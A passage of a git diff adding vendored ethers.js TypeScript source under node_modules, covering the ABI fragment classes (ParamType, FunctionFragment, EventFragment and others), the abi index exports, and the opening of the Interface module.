+ */ + readonly arrayLength!: null | number; + + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + readonly arrayChildren!: null | ParamType; + + + /** + * @private + */ + constructor(guard: any, name: string, type: string, baseType: string, indexed: null | boolean, components: null | ReadonlyArray, arrayLength: null | number, arrayChildren: null | ParamType) { + assertPrivate(guard, _guard, "ParamType"); + Object.defineProperty(this, internal, { value: ParamTypeInternal }); + + if (components) { components = Object.freeze(components.slice()); } + + if (baseType === "array") { + if (arrayLength == null || arrayChildren == null) { + throw new Error(""); + } + } else if (arrayLength != null || arrayChildren != null) { + throw new Error(""); + } + + if (baseType === "tuple") { + if (components == null) { throw new Error(""); } + } else if (components != null) { + throw new Error(""); + } + + defineProperties(this, { + name, type, baseType, indexed, components, arrayLength, arrayChildren + }); + } + + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format?: FormatType): string { + if (format == null) { format = "sighash"; } + if (format === "json") { + const name = this.name || ""; + + if (this.isArray()) { + const result = JSON.parse(this.arrayChildren.format("json")); + result.name = name; + result.type += `[${ (this.arrayLength < 0 ? "": String(this.arrayLength)) }]`; + return JSON.stringify(result); + } + + const result: any = { + type: ((this.baseType === "tuple") ? "tuple": this.type), + name + }; + + + if (typeof(this.indexed) === "boolean") { result.indexed = this.indexed; } + if (this.isTuple()) { + result.components = this.components.map((c) => JSON.parse(c.format(format))); + } + return JSON.stringify(result); + } + + let result = ""; + + // Array + if (this.isArray()) { + result += this.arrayChildren.format(format); + result += `[${ (this.arrayLength < 0 ? "": String(this.arrayLength)) }]`; + } else { + if (this.isTuple()) { + result += "(" + this.components.map( + (comp) => comp.format(format) + ).join((format === "full") ? ", ": ",") + ")"; + } else { + result += this.type; + } + } + + if (format !== "sighash") { + if (this.indexed === true) { result += " indexed"; } + if (format === "full" && this.name) { + result += " " + this.name; + } + } + + return result; + } + + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray(): this is (ParamType & { arrayChildren: ParamType, arrayLength: number }) { + return (this.baseType === "array") + } + + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple(): this is (ParamType & { components: ReadonlyArray }) { + return (this.baseType === "tuple"); + } + + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable(): this is (ParamType & { indexed: boolean }) { + return (this.indexed != null); + } + + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value: any, process: ParamTypeWalkFunc): any { + if (this.isArray()) { + if (!Array.isArray(value)) { throw new Error("invalid array value"); } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v) => (_this.arrayChildren.walk(v, process))); + } + + if (this.isTuple()) { + if (!Array.isArray(value)) { throw new Error("invalid tuple value"); } + if (value.length !== this.components.length) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v, i) => (_this.components[i].walk(v, process))); + } + + return process(this.type, value); + } + + #walkAsync(promises: Array>, value: any, process: ParamTypeWalkAsyncFunc, setValue: (value: any) => void): void { + + if (this.isArray()) { + if (!Array.isArray(value)) { throw new Error("invalid array value"); } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const childType = this.arrayChildren; + + const result = value.slice(); + result.forEach((value, index) => { + childType.#walkAsync(promises, value, process, (value: any) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + + if (this.isTuple()) { + const components = this.components; + + // Convert the object into an array + let result: Array; + if (Array.isArray(value)) { + result = value.slice(); + + } else { + if (value == null || typeof(value) !== "object") { + throw new Error("invalid tuple value"); + } + + result = components.map((param) => { + if (!param.name) { throw new Error("cannot use object value with unnamed components"); } + if (!(param.name in value)) { + throw new Error(`missing value for component ${ param.name }`); + } + return value[param.name]; + }); + } + + if (result.length !== this.components.length) { + throw new Error("array is wrong length"); + } + + result.forEach((value, index) => { + components[index].#walkAsync(promises, value, process, (value: any) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + + const result = process(this.type, value); + if (result.then) { + promises.push((async function() { setValue(await result); })()); + } else { + setValue(result); + } + } + + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + async walkAsync(value: any, process: ParamTypeWalkAsyncFunc): Promise { + const promises: Array> = [ ]; + const result: [ any ] = [ value ]; + this.#walkAsync(promises, value, process, (value: any) => { + result[0] = value; + }); + if (promises.length) { await Promise.all(promises); } + return result[0]; + } + + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj: any, allowIndexed?: boolean): ParamType { + if (ParamType.isParamType(obj)) { return obj; } + + if (typeof(obj) === "string") { + try { + return ParamType.from(lex(obj), allowIndexed); + } catch (error) { + assertArgument(false, "invalid param type", "obj", obj); + } + + } else if (obj instanceof TokenString) { + let type = "", baseType = ""; + let comps: null | Array = null; + + if (consumeKeywords(obj, setify([ "tuple" ])).has("tuple") || obj.peekType("OPEN_PAREN")) { + // Tuple + baseType = "tuple"; + comps = obj.popParams().map((t) => ParamType.from(t)); + type = `tuple(${ comps.map((c) => c.format()).join(",") })`; + } else { + // Normal + type = verifyBasicType(obj.popType("TYPE")); + baseType = type; + } + + // Check for Array + let arrayChildren: null | ParamType = null; + let arrayLength: null | number = null; + + while (obj.length && obj.peekType("BRACKET")) { + const bracket = obj.pop(); //arrays[i]; + arrayChildren = new ParamType(_guard, "", type, baseType, null, comps, arrayLength, arrayChildren); + arrayLength = bracket.value; + type += bracket.text; + baseType = "array"; + comps = null; + } + + let indexed: null | boolean = null; + const keywords = consumeKeywords(obj, KwModifiers); + if (keywords.has("indexed")) { + if (!allowIndexed) { throw new Error(""); } + indexed = true; + } + + const name = (obj.peekType("ID") ? obj.pop().text: ""); + + if (obj.length) { throw new Error("leftover tokens"); } + + return new ParamType(_guard, name, type, baseType, indexed, comps, arrayLength, arrayChildren); + } + + const name = obj.name; + assertArgument(!name || (typeof(name) === "string" && name.match(regexId)), + "invalid name", "obj.name", name); + + let indexed = obj.indexed; + if (indexed != null) { + assertArgument(allowIndexed, "parameter cannot be indexed", "obj.indexed", obj.indexed); + indexed = !!indexed; + } + + let type = obj.type; + + let arrayMatch = type.match(regexArrayType); + if (arrayMatch) { + const arrayLength = parseInt(arrayMatch[2] || "-1"); + const arrayChildren = ParamType.from({ + type: arrayMatch[1], + components: obj.components + }); + + return new ParamType(_guard, name || "", type, "array", indexed, null, arrayLength, arrayChildren); + } + + if (type === "tuple" || type.startsWith("tuple("/* fix: ) */) || type.startsWith("(" /* fix: ) */)) { + const comps = (obj.components != null) ? obj.components.map((c: any) => ParamType.from(c)): null; + const tuple = new ParamType(_guard, name || "", type, "tuple", indexed, comps, null, null); + // @TODO: use lexer to validate and normalize type + return tuple; + } + + type = verifyBasicType(obj.type); + + return new ParamType(_guard, name || "", type, type, indexed, null, null, null); + } + + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value: any): value is ParamType { + return (value && value[internal] === ParamTypeInternal); + } +} + +/** + * The type of a [[Fragment]]. + */ +export type FragmentType = "constructor" | "error" | "event" | "fallback" | "function" | "struct"; + +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +export abstract class Fragment { + /** + * The type of the fragment. + */ + readonly type!: FragmentType; + + /** + * The inputs for the fragment. + */ + readonly inputs!: ReadonlyArray; + + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray) { + assertPrivate(guard, _guard, "Fragment"); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { type, inputs }); + } + + /** + * Returns a string representation of this fragment as %%format%%. + */ + abstract format(format?: FormatType): string; + + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj: any): Fragment { + if (typeof(obj) === "string") { + + // Try parsing JSON... + try { + Fragment.from(JSON.parse(obj)); + } catch (e) { } + + // ...otherwise, use the human-readable lexer + return Fragment.from(lex(obj)); + } + + if (obj instanceof TokenString) { + // Human-readable ABI (already lexed) + + const type = obj.peekKeyword(KwTypes); + + switch (type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + + } else if (typeof(obj) === "object") { + // JSON ABI + + switch (obj.type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + + assert(false, `unsupported type: ${ obj.type }`, "UNSUPPORTED_OPERATION", { + operation: "Fragment.from" + }); + } + + assertArgument(false, "unsupported frgament object", "obj", obj); + } + + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value: any): value is ConstructorFragment { + return ConstructorFragment.isFragment(value); + } + + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value: any): value is ErrorFragment { + return ErrorFragment.isFragment(value); + } + + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value: any): value is EventFragment { + return EventFragment.isFragment(value); + } + + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value: any): value is FunctionFragment { + return FunctionFragment.isFragment(value); + } + + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value: any): value is StructFragment { + return StructFragment.isFragment(value); + } +} + +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +export abstract class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + readonly name!: string; + + /** + * @private + */ + constructor(guard: any, type: FragmentType, name: string, inputs: ReadonlyArray) { + super(guard, type, inputs); + assertArgument(typeof(name) === "string" && name.match(regexId), + "invalid identifier", "name", name); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { name }); + } +} + +function joinParams(format: FormatType, params: ReadonlyArray): string { + return "(" + params.map((p) => p.format(format)).join((format === "full") ? ", ": ",") + ")"; +} + +/** + * A Fragment which represents a //Custom Error//. + */ +export class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray) { + super(guard, "error", name, inputs); + Object.defineProperty(this, internal, { value: ErrorFragmentInternal }); + } + + /** + * The Custom Error selector. + */ + get selector(): string { + return id(this.format("sighash")).substring(0, 10); + } + + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format?: FormatType): string { + if (format == null) { format = "sighash"; } + if (format === "json") { + return JSON.stringify({ + type: "error", + name: this.name, + inputs: this.inputs.map((input) => JSON.parse(input.format(format))), + }); + } + + const result: Array = [ ]; + if (format !== "sighash") { result.push("error"); } + result.push(this.name + joinParams(format, this.inputs)); + return result.join(" "); + } + + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj: any): ErrorFragment { + if (ErrorFragment.isFragment(obj)) { return obj; } + + if (typeof(obj) === "string") { + return ErrorFragment.from(lex(obj)); + + } else if (obj instanceof TokenString) { + const name = consumeName("error", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + + return new ErrorFragment(_guard, name, inputs); + } + + return new ErrorFragment(_guard, obj.name, + obj.inputs ? obj.inputs.map(ParamType.from): [ ]); + } + + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value: any): value is ErrorFragment { + return (value && value[internal] === ErrorFragmentInternal); + } +} + +/** + * A Fragment which represents an Event. + */ +export class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + readonly anonymous!: boolean; + + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray, anonymous: boolean) { + super(guard, "event", name, inputs); + Object.defineProperty(this, internal, { value: EventFragmentInternal }); + defineProperties(this, { anonymous }); + } + + /** + * The Event topic hash. + */ + get topicHash(): string { + return id(this.format("sighash")); + } + + /** + * Returns a string representation of this event as %%format%%. + */ + format(format?: FormatType): string { + if (format == null) { format = "sighash"; } + if (format === "json") { + return JSON.stringify({ + type: "event", + anonymous: this.anonymous, + name: this.name, + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + + const result: Array = [ ]; + if (format !== "sighash") { result.push("event"); } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash" && this.anonymous) { result.push("anonymous"); } + return result.join(" "); + } + + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name: string, params?: Array): string { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new EventFragment(_guard, name, params, false); + return fragment.topicHash; + } + + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj: any): EventFragment { + if (EventFragment.isFragment(obj)) { return obj; } + + if (typeof(obj) === "string") { + try { + return EventFragment.from(lex(obj)); + } catch (error) { + assertArgument(false, "invalid event fragment", "obj", obj); + } + + } else if (obj instanceof TokenString) { + const name = consumeName("event", obj); + const inputs = consumeParams(obj, true); + const anonymous = !!consumeKeywords(obj, setify([ "anonymous" ])).has("anonymous"); + consumeEoi(obj); + + return new EventFragment(_guard, name, inputs, anonymous); + } + + return new EventFragment(_guard, obj.name, + obj.inputs ? obj.inputs.map((p: any) => ParamType.from(p, true)): [ ], !!obj.anonymous); + } + + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value: any): value is EventFragment { + return (value && value[internal] === EventFragmentInternal); + } +} + +/** + * A Fragment which represents a constructor. + */ +export class ConstructorFragment extends Fragment { + + /** + * Whether the constructor can receive an endowment. + */ + readonly payable!: boolean; + + /** + * The recommended gas limit for deployment or ``null``. + */ + readonly gas!: null | bigint; + + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray, payable: boolean, gas: null | bigint) { + super(guard, type, inputs); + Object.defineProperty(this, internal, { value: ConstructorFragmentInternal }); + defineProperties(this, { payable, gas }); + } + + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format?: FormatType): string { + assert(format != null && format !== "sighash", "cannot format a constructor for sighash", + "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }); + + if (format === "json") { + return JSON.stringify({ + type: "constructor", + stateMutability: (this.payable ? "payable": "undefined"), + payable: this.payable, + gas: ((this.gas != null) ? this.gas: undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + + const result = [ `constructor${ joinParams(format, this.inputs) }` ]; + if (this.payable) { result.push("payable"); } + if (this.gas != null) { result.push(`@${ this.gas.toString() }`); } + return result.join(" "); + } + + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj: any): ConstructorFragment { + if (ConstructorFragment.isFragment(obj)) { return obj; } + + if (typeof(obj) === "string") { + try { + return ConstructorFragment.from(lex(obj)); + } catch (error) { + assertArgument(false, "invalid constuctor fragment", "obj", obj); + } + + } else if (obj instanceof TokenString) { + consumeKeywords(obj, setify([ "constructor" ])); + const inputs = consumeParams(obj); + const payable = !!consumeKeywords(obj, KwVisibDeploy).has("payable"); + const gas = consumeGas(obj); + consumeEoi(obj); + + return new ConstructorFragment(_guard, "constructor", inputs, payable, gas); + } + + return new ConstructorFragment(_guard, "constructor", + obj.inputs ? obj.inputs.map(ParamType.from): [ ], + !!obj.payable, (obj.gas != null) ? obj.gas: null); + } + + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value: any): value is ConstructorFragment { + return (value && value[internal] === ConstructorFragmentInternal); + } +} + +/** + * A Fragment which represents a method. + */ +export class FallbackFragment extends Fragment { + + /** + * If the function can be sent value during invocation. + */ + readonly payable!: boolean; + + constructor(guard: any, inputs: ReadonlyArray, payable: boolean) { + super(guard, "fallback", inputs); + Object.defineProperty(this, internal, { value: FallbackFragmentInternal }); + defineProperties(this, { payable }); + } + + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format?: FormatType): string { + const type = ((this.inputs.length === 0) ? "receive": "fallback"); + + if (format === "json") { + const stateMutability = (this.payable ? "payable": "nonpayable"); + return JSON.stringify({ type, stateMutability }); + } + + return `${ type }()${ this.payable ? " payable": "" }`; + } + + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj: any): FallbackFragment { + if (FallbackFragment.isFragment(obj)) { return obj; } + + if (typeof(obj) === "string") { + try { + return FallbackFragment.from(lex(obj)); + } catch (error) { + assertArgument(false, "invalid fallback fragment", "obj", obj); + } + + } else if (obj instanceof TokenString) { + const errorObj = obj.toString(); + + const topIsValid = obj.peekKeyword(setify([ "fallback", "receive" ])); + assertArgument(topIsValid, "type must be fallback or receive", "obj", errorObj); + + const type = obj.popKeyword(setify([ "fallback", "receive" ])); + + // receive() + if (type === "receive") { + const inputs = consumeParams(obj); + assertArgument(inputs.length === 0, `receive cannot have arguments`, "obj.inputs", inputs); + consumeKeywords(obj, setify([ "payable" ])); + consumeEoi(obj); + return new FallbackFragment(_guard, [ ], true); + } + + // fallback() [payable] + // fallback(bytes) [payable] returns (bytes) + let inputs = consumeParams(obj); + if (inputs.length) { + assertArgument(inputs.length === 1 && inputs[0].type === "bytes", + "invalid fallback inputs", "obj.inputs", + inputs.map((i) => i.format("minimal")).join(", ")); + } else { + inputs = [ ParamType.from("bytes") ]; + } + + const mutability = consumeMutability(obj); + assertArgument(mutability === "nonpayable" || mutability === "payable", "fallback cannot be constants", "obj.stateMutability", mutability); + + if (consumeKeywords(obj, setify([ "returns" ])).has("returns")) { + const outputs = consumeParams(obj); + assertArgument(outputs.length === 1 && outputs[0].type === "bytes", + "invalid fallback outputs", "obj.outputs", + outputs.map((i) => i.format("minimal")).join(", ")); + } + + consumeEoi(obj); + + return new FallbackFragment(_guard, inputs, mutability === "payable"); + } + + if (obj.type === "receive") { + return new FallbackFragment(_guard, [ ], true); + } + + if (obj.type === "fallback") { + const inputs = [ ParamType.from("bytes") ]; + const payable = (obj.stateMutability === "payable"); + return new FallbackFragment(_guard, inputs, payable); + } + + assertArgument(false, "invalid fallback description", "obj", obj); + } + + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value: any): value is FallbackFragment { + return (value && value[internal] === FallbackFragmentInternal); + } +} + + +/** + * A Fragment which represents a method. + */ +export class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + readonly constant!: boolean; + + /** + * The returned types for the result of calling this function. + */ + readonly outputs!: ReadonlyArray; + + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + readonly stateMutability!: "payable" | "nonpayable" | "view" | "pure"; + + /** + * If the function can be sent value during invocation. + */ + readonly payable!: boolean; + + /** + * The recommended gas limit to send when calling this function. + */ + readonly gas!: null | bigint; + + /** + * @private + */ + constructor(guard: any, name: string, stateMutability: "payable" | "nonpayable" | "view" | "pure", inputs: ReadonlyArray, outputs: ReadonlyArray, gas: null | bigint) { + super(guard, "function", name, inputs); + Object.defineProperty(this, internal, { value: FunctionFragmentInternal }); + outputs = Object.freeze(outputs.slice()); + const constant = (stateMutability === "view" || stateMutability === "pure"); + const payable = (stateMutability === "payable"); + defineProperties(this, { constant, gas, outputs, payable, stateMutability }); + } + + /** + * The Function selector. + */ + get selector(): string { + return id(this.format("sighash")).substring(0, 10); + } + + /** + * Returns a string representation of this function as %%format%%. + */ + format(format?: FormatType): string { + if (format == null) { format = "sighash"; } + if (format === "json") { + return JSON.stringify({ + type: "function", + name: this.name, + constant: this.constant, + stateMutability: ((this.stateMutability !== "nonpayable") ? this.stateMutability: undefined), + payable: this.payable, + gas: ((this.gas != null) ? this.gas: undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))), + outputs: this.outputs.map((o) => JSON.parse(o.format(format))), + }); + } + + const result: Array = []; + + if (format !== "sighash") { result.push("function"); } + + result.push(this.name + joinParams(format, this.inputs)); + + if (format !== "sighash") { + if (this.stateMutability !== "nonpayable") { + result.push(this.stateMutability); + } + + if (this.outputs && this.outputs.length) { + result.push("returns"); + result.push(joinParams(format, this.outputs)); + } + + if (this.gas != null) { result.push(`@${ this.gas.toString() }`); } + } + return result.join(" "); + } + + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name: string, params?: Array): string { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new FunctionFragment(_guard, name, "view", params, [ ], null); + return fragment.selector; + } + + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj: any): FunctionFragment { + if (FunctionFragment.isFragment(obj)) { return obj; } + + if (typeof(obj) === "string") { + try { + return FunctionFragment.from(lex(obj)); + } catch (error) { + assertArgument(false, "invalid function fragment", "obj", obj); + } + + } else if (obj instanceof TokenString) { + const name = consumeName("function", obj); + const inputs = consumeParams(obj); + const mutability = consumeMutability(obj); + + let outputs: Array = [ ]; + if (consumeKeywords(obj, setify([ "returns" ])).has("returns")) { + outputs = consumeParams(obj); + } + + const gas = consumeGas(obj); + + consumeEoi(obj); + + return new FunctionFragment(_guard, name, mutability, inputs, outputs, gas); + } + + let stateMutability = obj.stateMutability; + + // Use legacy Solidity ABI logic if stateMutability is missing + if (stateMutability == null) { + stateMutability = "payable"; + + if (typeof(obj.constant) === "boolean") { + stateMutability = "view"; + if (!obj.constant) { + stateMutability = "payable" + if (typeof(obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + } else if (typeof(obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + + // @TODO: verifyState for stateMutability (e.g. throw if + // payable: false but stateMutability is "nonpayable") + + return new FunctionFragment(_guard, obj.name, stateMutability, + obj.inputs ? obj.inputs.map(ParamType.from): [ ], + obj.outputs ? obj.outputs.map(ParamType.from): [ ], + (obj.gas != null) ? obj.gas: null); + } + + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value: any): value is FunctionFragment { + return (value && value[internal] === FunctionFragmentInternal); + } +} + +/** + * A Fragment which represents a structure. + */ +export class StructFragment extends NamedFragment { + + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray) { + super(guard, "struct", name, inputs); + Object.defineProperty(this, internal, { value: StructFragmentInternal }); + } + + /** + * Returns a string representation of this struct as %%format%%. + */ + format(): string { + throw new Error("@TODO"); + } + + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj: any): StructFragment { + if (typeof(obj) === "string") { + try { + return StructFragment.from(lex(obj)); + } catch (error) { + assertArgument(false, "invalid struct fragment", "obj", obj); + } + + } else if (obj instanceof TokenString) { + const name = consumeName("struct", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new StructFragment(_guard, name, inputs); + } + + return new StructFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from): [ ]); + } + +// @TODO: fix this return type + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value: any): value is FunctionFragment { + return (value && value[internal] === StructFragmentInternal); + } +} + diff --git a/node_modules/ethers/src.ts/abi/index.ts b/node_modules/ethers/src.ts/abi/index.ts new file mode 100644 index 000000000000..5b1649f492fd --- /dev/null +++ b/node_modules/ethers/src.ts/abi/index.ts @@ -0,0 +1,41 @@ +/** + * The Application Binary Interface (ABI) describes how method input + * parameters should be encoded, their results decoded, and how to + * decode events and errors. + * + * See [About ABIs](docs-abi) for more details how they are used. + * + * @_section api/abi:Application Binary Interface [about-abi] + * @_navTitle: ABI + */ + + +////// +export { AbiCoder } from "./abi-coder.js"; + +export { decodeBytes32String, encodeBytes32String } from "./bytes32.js"; + +export { + ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, + Fragment, FunctionFragment, NamedFragment, ParamType, StructFragment, +} from "./fragments.js"; + +export { + checkResultErrors, + Indexed, + Interface, + ErrorDescription, LogDescription, TransactionDescription, + Result +} from "./interface.js"; + +export { Typed } from "./typed.js"; + +export type { + JsonFragment, JsonFragmentType, + FormatType, FragmentType, ParamTypeWalkAsyncFunc, ParamTypeWalkFunc +} from "./fragments.js"; + +export type { + InterfaceAbi, +} from "./interface.js"; + diff --git a/node_modules/ethers/src.ts/abi/interface.ts b/node_modules/ethers/src.ts/abi/interface.ts new file mode 100644 index 000000000000..2dcee74f1c4c --- /dev/null +++ b/node_modules/ethers/src.ts/abi/interface.ts @@ -0,0 +1,1271 @@ +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ + +import { keccak256 } from "../crypto/index.js" +import { id } from "../hash/index.js" +import { + concat, dataSlice, getBigInt, getBytes, getBytesCopy, + hexlify, zeroPadBytes, zeroPadValue, isHexString, defineProperties, + assertArgument, toBeHex, assert +} from "../utils/index.js"; + +import { AbiCoder } from "./abi-coder.js"; +import { checkResultErrors, Result } from "./coders/abstract-coder.js"; +import { + ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, + Fragment, FunctionFragment, ParamType +} from "./fragments.js"; +import { Typed } from "./typed.js"; + +import type { BigNumberish, BytesLike, CallExceptionError, CallExceptionTransaction } from "../utils/index.js"; + +import type { JsonFragment } from "./fragments.js"; + + +export { checkResultErrors, Result }; + +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +export class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + readonly fragment!: EventFragment; + + /** + * The name of the Event. + */ + readonly name!: string; + + /** + * The full Event signature. + */ + readonly signature!: string; + + /** + * The topic hash for the Event. + */ + readonly topic!: string; + + /** + * The arguments passed into the Event with ``emit``. + */ + readonly args!: Result + + /** + * @_ignore: + */ + constructor(fragment: EventFragment, topic: string, args: Result) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, signature, topic, args + }); + } +} + +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +export class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + readonly fragment!: FunctionFragment; + + /** + * The name of the Function from the transaction ``data``. + */ + readonly name!: string; + + /** + * The arguments passed to the Function from the transaction ``data``. + */ + readonly args!: Result; + + /** + * The full Function signature from the transaction ``data``. + */ + readonly signature!: string; + + /** + * The selector for the Function from the transaction ``data``. + */ + readonly selector!: string; + + /** + * The ``value`` (in wei) from the transaction. + */ + readonly value!: bigint; + + /** + * @_ignore: + */ + constructor(fragment: FunctionFragment, selector: string, args: Result, value: bigint) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector, value + }); + } +} + +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +export class ErrorDescription { + /** + * The matching fragment. + */ + readonly fragment!: ErrorFragment; + + /** + * The name of the Error. + */ + readonly name!: string; + + /** + * The arguments passed to the Error with ``revert``. + */ + readonly args!: Result; + + /** + * The full Error signature. + */ + readonly signature!: string; + + /** + * The selector for the Error. + */ + readonly selector!: string; + + /** + * @_ignore: + */ + constructor(fragment: ErrorFragment, selector: string, args: Result) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector + }); + } +} + +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +export class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + readonly hash!: null | string; + + /** + * @_ignore: + */ + readonly _isIndexed!: boolean; + + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value: any): value is Indexed { + return !!(value && value._isIndexed); + } + + /** + * @_ignore: + */ + constructor(hash: null | string) { + defineProperties(this, { hash, _isIndexed: true }) + } +} + +type ErrorInfo = { + signature: string, + inputs: Array, + name: string, + reason: (...args: Array) => string; +}; + +// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require +const PanicReasons: Record = { + "0": "generic panic", + "1": "assert(false)", + "17": "arithmetic overflow", + "18": "division or modulo by zero", + "33": "enum overflow", + "34": "invalid encoded storage byte array accessed", + "49": "out-of-bounds array access; popping on an empty array", + "50": "out-of-bounds access of an array or bytesN", + "65": "out of memory", + "81": "uninitialized function", +} + +const BuiltinErrors: Record = { + "0x08c379a0": { + signature: "Error(string)", + name: "Error", + inputs: [ "string" ], + reason: (message: string) => { + return `reverted with reason string ${ JSON.stringify(message) }`; + } + }, + "0x4e487b71": { + signature: "Panic(uint256)", + name: "Panic", + inputs: [ "uint256" ], + reason: (code: bigint) => { + let reason = "unknown panic code"; + if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) { + reason = PanicReasons[code.toString()]; + } + return `reverted with panic code 0x${ code.toString(16) } (${ reason })`; + } + } +} + +/* +function wrapAccessError(property: string, error: Error): Error { + const wrap = new Error(`deferred error during ABI decoding triggered accessing ${ property }`); + (wrap).error = error; + return wrap; +} +*/ +/* +function checkNames(fragment: Fragment, type: "input" | "output", params: Array): 